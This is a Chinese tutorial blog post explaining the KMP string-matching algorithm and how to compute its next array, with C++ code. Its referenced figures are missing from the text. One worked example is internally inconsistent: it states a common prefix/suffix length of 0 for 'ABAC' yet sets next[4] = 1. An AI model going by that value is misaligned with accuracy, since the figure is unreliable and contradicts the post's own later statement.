目录
- 1 为什么使用 KMP？
- 2 什么是 next 数组？
- 2.1 什么是字符串的前后缀？
- 2.2 如何计算 next 数组？
- 3 KMP 部分的算法
- 4 完整代码
😈前言：这篇文章比较长，但我感觉自己是讲明白了的
1 为什么使用 KMP？
答：参与字符串匹配的两个串分别叫 “主串” 和 “模式串”。在朴素字符串匹配中，若主串 s[i] 不等于模式串 p[j]，那么需要主串和模式串都回溯到开头，模式串要从主串的下一个字符开始重新匹配。KMP 算法之所以被提出，是因为它不需要主串回溯，且只需要模式串部分回溯，节省了很多不必要也不可能成功的匹配操作。
2 什么是 next 数组？
next 数组是 KMP 算法中的一个辅助工具，我们只需要知道它是什么，以及它是怎么被计算出来的即可。
- 定义：next 数组的值代表的是字符串的前缀与后缀相同的最大长度。
2.1 什么是字符串的前后缀？
前缀和后缀的定义：
- 前缀：除最后一个字符以外的，字符串的所有头部子串；
- 后缀：除第一个字符以外的，字符串的所有尾部子串；
强调：不管是前缀还是后缀，字符都是按从左往右的顺序数的！
假设有如下的字符串：
- 设 next[0] = -1；
- “A” 的前缀和后缀都为空集，共有元素的长度为 0，设 next[1] = 0；
- “AB” 的前缀为 [A]，后缀为 [B]，共有元素的长度为 0，设 next[2] = 0；
- “ABA” 的前缀为 [A, AB]，后缀为 [BA, A]，共有元素的长度为 1，设 next[3] = 1；
- “ABAC” 的前缀为 [A, AB, ABA]，后缀为 [BAC, AC, C]，共有元素的长度为 0，设 next[4] = 1；
- 以此类推
说明：next[0] = -1 是 KMP 算法的特殊需求，到时候帮助模式串回溯到开头。
上述字符串的 next 数组如下：
可以看出，字符 “D” 对应的 next 值是 0，即字符串 “ABAC” 的前缀与后缀相同的最大长度。
我主要想强调的是，每个字符对应的 next 值，是该字符之前的字符串的前缀与后缀相同的最大长度，并不包含该字符。
2.2 如何计算 next 数组？
直接上代码：
vector<int> getNextArr(string p) {
vector<int> next(p.size(), 0);
int i = -1, j = 0;
next[0] = -1;
while (j < p.size() - 1) {
if (i == -1 || p[i] == p[j]) {
++i;
++j;
next[j] = i;
} else {
i = next[i];
}
}
return next;
}
我们很自然地想到使用 i 和 j 一前一后两个指针来完成字符串的匹配，因此定义 i = -1 和 j = 0 作为初始值。
① 情况一：当 i = -1 时
说明匹配还没有开始，因为 i 还没有指向任何字符。因此我们让 i 和 j 均右移一格，分别指向两个字符。根据 2.1 节介绍的规则，因为由一个字符构成的字符串是没有前后缀的，所以 next 的值为 0：
next[j] = i; // j=1, i=0
② 情况二：当 p[i] == p[j] 时
说明 i 和 j 指向的字符相同。因此我们也让 i 和 j 均右移一格，分别指向两个新的字符。同时，使用以下代码计算 next 的值：
next[j] = i;
说明：不管是情况一还是情况二，i 的值其实都代表的是已经匹配了的前后缀长度。因为只有匹配了，i 才会向右移嘛！
③ 情况三：最恶心的 else 情况
说明匹配已经开始了，但 i 和 j 指向的字符不同。比如，下图所代表的时刻：
其中，绿色部分和黄色部分代表的是 “ABACDABA” 这个字符串中成功匹配的部分。
虽然在这种情况下匹配失败了，但是我们可以考虑比该情况更差的情况。也就是说，字符串 “ABACDABA” 中匹配的长度是 3，但如果我们再纳入 j 指向的字符 “B”，是没有办法再续辉煌的！即没有办法在已匹配部分 “ABA” 的基础上再加 1！
但是我们可以考虑字符串 “ABACDABA” 中匹配长度为 2 的部分，看看该部分是否有机会在加上 “B” 后仍然匹配。
我来具体讲一下上述思路，可以参考下图：
其中 ① 是最理想的情况，即最长匹配部分 “ABA” 分别加上 i 指向的字符和 j 指向的字符后仍然匹配，但显然在上述例子中是不匹配的。那么我们接着考虑匹配长度比 3 小的情况。情况 ② 是根本不会被考虑的，因为前缀 “AB” 和后缀 “BA” 根本不匹配。再来看情况 ③，前缀 “A” 和后缀 “A” 匹配，同时 i 指向的字符和 j 指向的字符相同。因此，我们捡漏到了一种匹配的情况！
刚才我们有提到 “情况 ② 是根本不会被考虑的”，那么 KMP 算法具体是如何规避的呢？核心是如下代码：
i = next[i];
最初，我觉得简直无法理解，但经过上述分析后我恍然大悟！请看下图：
针对情况 ①，一个重要的信息是绿色部分和黄色部分是完全相同的！我们可以把 “找两个 ‘ABA’ 之间更短的匹配部分” 转换为 “找一个 ‘ABA’ 中的匹配部分”！又由于绿色部分的匹配长度在此前已经被计算出了，等于 next[i] 的值，即 “C” 前面的字符串 “ABA” 中前后缀的最大匹配长度。因此，我们可以直接让 i 指针飞到 next[i] 处，即从情况 ① 飞到情况 ③：
飞到情况 ③ 后，前缀 “A” 和后缀 “A” 是匹配的，原因我们刚才已经分析过了。接下来就看 “A” 分别加上 i 指向的字符和 j 指向的字符后是否仍然匹配了。
以上就是对计算 next 数组的代码的全部分析！
3 KMP 部分的算法
直接上代码：
int kmp(string s, string p) {
vector<int> next = getNextArr(p);
int n = s.size();
int m = p.size();
int i = 0, j = 0;
while (i < n && j < m) {
if (j == -1 || s[i] == p[j]) {
++i;
++j;
} else {
j = next[j];
}
}
if (j == m) {
return i - m;
}
return -1;
}
其中 i 是主串 s 的指针，j 是模式串 p 的指针。
① 情况一：当 s[i] == p[j] 时
说明 i 和 j 指向的字符相同。因此我们也让 i 和 j 均右移一格，分别指向两个新的字符。
这是最简单易懂的情况。
② 情况二：else 情况
说明 i 和 j 指向的字符不同，但还有拯救的希望。参见下图的例子：
先看情况 ①，其中的绿色部分和黄色部分（深浅部分都包括）代表主串和模式串匹配的部分。特别地，深色部分代表主串和模式串自己内部的匹配部分。如上图所示，i 和 j 指向的字符不同，如果是朴素字符串匹配算法，那么两个指针都得回到开头以重新进行匹配。而在 KMP 算法中，主串不需要回溯，而模式串也只需要回溯一部分。
与 2.2 节的分析相同，既然我们没有办法让 “CACCA” 分别加上 i 和 j 指向的字符后仍然相同，那么我们可以考虑一个比它短的部分，即绿色部分的一个后缀。当然这个后缀不能乱选，我们还是得有一点依据。这个依据就是：绿色部分的后缀要和黄色部分的前缀一样！否则将无法匹配。
一个重要的信息是绿色部分和黄色部分是完全相同的！我们可以把 “找匹配的绿色部分后缀和和黄色部分前缀” 转换为 “找匹配的黄色部分后缀和和黄色部分前缀”！又由于我们先前为模式串计算了 next 数组，因此这是非常容易得到的！核心代码如下：
j = next[j];
参见情况 ①，next[j] 代表 j 指向的字符 “E” 前面的字符串 “CACCA” 中的前后缀匹配长度，同时代表满足要求的前缀的长度。因此，我们让 j 移动到 next[j]，如情况 ② 所示。然后判断 “CA” 分别加上 i 和 j 指向的字符后是否仍然相同。
③ 情况三：当 j == -1 时
说明 i 和 j 指向的字符不同，且没有拯救的希望。具体来说，出现了多次情况二，导致 j 回溯到了 -1 位置。在这种情况下，i 和 j 均需要右移一格，以指向两个新的字符进行比较。
在情况二中，i 是不会移动的；在情况三中，由于 i 不移动就不会有匹配的希望，因此 i 也需要移动。
4 完整代码
#include <bits/stdc++.h>
using namespace std;
vector<int> getNextArr(string p) {
vector<int> next(p.size(), 0);
int i = -1, j = 0;
next[0] = -1;
while (j < p.size() - 1) {
if (i == -1 || p[i] == p[j]) {
++i;
++j;
next[j] = i;
} else {
i = next[i];
}
}
return next;
}
int kmp(string s, string p) {
vector<int> next = getNextArr(p);
int n = s.size();
int m = p.size();
int i = 0, j = 0;
while (i < n && j < m) {
if (j == -1 || s[i] == p[j]) {
++i;
++j;
} else {
j = next[j];
}
}
if (j == m) {
return i - m;
}
return -1;
}
int main() {
string s = "aaaaa";
string p = "bba";
vector<int> next = getNextArr(p);
for (auto & n : next) {
cout << n << ' ';
}
cout << kmp(s, p);
return 0;
}
